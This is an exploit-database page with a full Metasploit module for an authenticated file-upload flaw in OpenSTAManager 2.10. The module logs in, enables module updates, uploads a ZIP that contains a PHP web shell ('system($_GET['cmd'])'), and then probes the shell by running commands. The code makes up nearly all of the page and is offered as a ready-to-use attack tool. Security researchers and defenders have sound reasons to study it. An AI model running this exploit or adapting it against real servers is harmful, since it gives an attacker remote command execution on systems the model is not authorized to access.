Lucene search
+L

OpenSTAManager 2.10 Module Shell Upload

🗓️ 01 Nov 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 8 Views

Arbitrary file upload in OpenSTAManager module update endpoint.

Related
Code
==================================================================================================================================
| # Title     : OpenSTAManager 2.10 Module Upload Vulnerability                                                                  |
| # Author    : indoushka                                                                                                        |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 159.0 (64 bits)                                                   |
| # Vendor    : https://openstamanager.com/en/downloads/                                                                         |
==================================================================================================================================

[+] Summary    : A Metasploit module for arbitrary file upload vulnerability in OpenSTAManager 2.10, 
                 affecting the module update endpoint modules/aggiornamenti/upload_modules.php.

[+] Payload    : 


##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote

  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'OpenSTAManager 2.10 Module Upload (CVE-2026-38751)',
      'Description'    => %q{
        OpenSTAManager version 2.10 contains an arbitrary file upload
        vulnerability in the module update functionality
        (modules/aggiornamenti/upload_modules.php). Per NVD, INCIBE, and
        GitHub Advisory, the affected version is 2.10 [citation:3][citation:4][citation:6].

        REPORTED ROOT CAUSE: Per Aliyun AVD, the processComponent function
        calls copyr to copy extracted ZIP entries without validating whether
        entry paths contain traversal characters (e.g., ../). This is a
        Zip Slip condition. Source-level analysis has NOT independently
        confirmed this; it is a reported root cause.

        PRIVILEGES: Per the official CVSS 3.1 vector
        (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H), high privileges
        are required (PR:H).

        PoC BEHAVIOR: Public PoCs use a normal ZIP structure
        (module_name/shell.php) and do not contain traversal entries.
        The PoCs may exercise a different mechanism than the reported Zip Slip
        root cause. This module mirrors PoC behavior and does NOT claim to
        reproduce Zip Slip.

        AUTHENTICATION IS NOT VERIFIED. Cookie acquisition does not prove
        successful login. Installation success is NOT verified.
      },
      'Author'         => [ 'indoushka' ],
      'License'        => MSF_LICENSE,
      'References'     => [
        ['CVE', '2026-38751'],
        ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2026-38751'],
        ['URL', 'https://github.com/advisories/GHSA-rm34-fg4m-39mw'],
        ['URL', 'https://avd.aliyun.com/detail?id=AVD-2026-38751'],
        ['URL', 'https://www.incibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2026-38751'],
        ['URL', 'https://github.com/b0ySie7e/OpenSTAManager-RCE-Exploit-CVE-2026-38751']
      ],

      'Privileged'     => true,
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,

      'Targets'        => [ ['OpenSTAManager 2.10', {}] ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2026-05-04'
    ))

    register_options([
      OptString.new('TARGETURI', [true, 'Base path to OpenSTAManager', '/']),
      OptString.new('USERNAME', [true, 'Username for authentication', 'admin']),
      OptString.new('PASSWORD', [true, 'Password for authentication', 'admin']),
      OptString.new('MODULE_NAME', [true, 'Module name (alphanumeric and underscores)', Rex::Text.rand_text_alpha(8)])
    ])
  end

  def check
    res = send_request_cgi({
      'uri'    => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET'
    })

    return CheckCode::Unknown('Connection failed or timed out') unless res

    body = res.body.to_s

    if body =~ /OpenSTAManager|openstamanager/i
      return CheckCode::Detected('OpenSTAManager text found; version and exploitability unconfirmed')
    end

    CheckCode::Unknown('No OpenSTAManager fingerprint found')
  end

  def exploit
    module_name = datastore['MODULE_NAME']
    unless module_name =~ /\A[a-zA-Z0-9_]+\z/
      fail_with(Failure::BadConfig, 'MODULE_NAME must contain only alphanumeric characters and underscores')
    end

    print_status('Attempting login...')
    cookie = do_login
    fail_with(Failure::NoAccess, 'No session cookie obtained') if cookie.nil? || cookie.empty?
    print_status('Session cookie obtained (authentication state UNCONFIRMED)')

    enable_updates(cookie)
    zip_data = generate_malicious_zip(module_name)
    upload_result = upload_zip(cookie, zip_data)

    if upload_result[:transport_error]
      print_warning("Upload transport error: #{upload_result[:transport_error]}")
      print_warning('Installation outcome UNKNOWN: request may or may not have reached the server')
    elsif upload_result[:http_code]
      print_status("Upload request completed, HTTP status: #{upload_result[:http_code]} (installation success NOT verified)")
    end
    paths_to_try = [
      normalize_uri(target_uri.path, 'modules', 'shell', 'shell.php'),
      normalize_uri(target_uri.path, 'modules', 'run', 'evil.php')
    ]

    paths_to_try.each do |shell_uri|
      print_status("Trying: #{shell_uri}")
      res = send_request_cgi({
        'uri'    => shell_uri,
        'method' => 'GET',
        'cookie' => cookie,
        'vars_get' => { 'cmd' => 'id' }
      })
      if res && res.code == 200 && res.body.to_s =~ /uid=\d+/
        print_good('Shell responded with uid pattern (exploitation likely, not definitively proven)')
        print_good("Shell: #{shell_uri}")
        return
      end
    end

    fail_with(Failure::Unknown, 'Could not confirm shell accessibility via known paths (target may still be vulnerable)')
  end

  def do_login
    res = send_request_cgi({
      'uri'    => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'POST',
      'vars_get' => { 'op' => 'login' },
      'vars_post' => {
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      }
    })

    return nil unless res
    cookies = res.get_cookies
    return nil if cookies.nil? || cookies.empty?

    cookies
  end

  def enable_updates(cookie)

    send_request_cgi({
      'uri'    => normalize_uri(target_uri.path, 'ajax.php'),
      'method' => 'POST',
      'cookie' => cookie,
      'vars_get' => { 'a' => 'check_module_updates_settings' },
      'vars_post' => { 'Attiva aggiornamenti' => '1' }
    })
  end

  def generate_malicious_zip(module_name)
    module_desc = <<~MODULE
      name = "#{module_name}"
      directory = "#{module_name}"
      version = "1.0"
      compatibility = "2.10"
      options = ""
      icon = "fa fa-bug"
      parent = "Dashboard"
    MODULE

    php_payload = "<?php system($_GET['cmd']); ?>"

    zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
    zip.add_file("#{module_name}/MODULE", module_desc)
    zip.add_file("#{module_name}/shell.php", php_payload)
    zip.pack
  end

  def upload_zip(cookie, zip_data)
    boundary = "----WebKitFormBoundary#{rand_text_alpha(16)}"
    data = Rex::MIME::Message.new
    data.add_part(zip_data, 'application/zip', 'binary',
                  "form-data; name=\"blob\"; filename=\"update.zip\"")
    data.bound = boundary

    begin
      res = send_request_cgi({
        'uri'    => normalize_uri(target_uri.path, 'modules', 'aggiornamenti', 'upload_modules.php'),
        'method' => 'POST',
        'cookie' => cookie,
        'ctype'  => "multipart/form-data; boundary=#{boundary}",
        'data'   => data.to_s
      })

      if res
        return { http_code: res.code, transport_error: nil }
      else
        return { http_code: nil, transport_error: 'send_request_cgi returned nil (timeout or connection failure)' }
      end
    rescue ::Rex::ConnectionError => e
      return { http_code: nil, transport_error: "Rex connection error: #{e.class}" }
    rescue ::Errno::ECONNREFUSED => e
      return { http_code: nil, transport_error: "Connection refused: #{e.class}" }
    rescue ::Errno::ETIMEDOUT => e
      return { http_code: nil, transport_error: "Connection timed out: #{e.class}" }
    end
  end
end

Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Nov 2026 00:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 3.17.2
EPSS0.00464
SSVC
8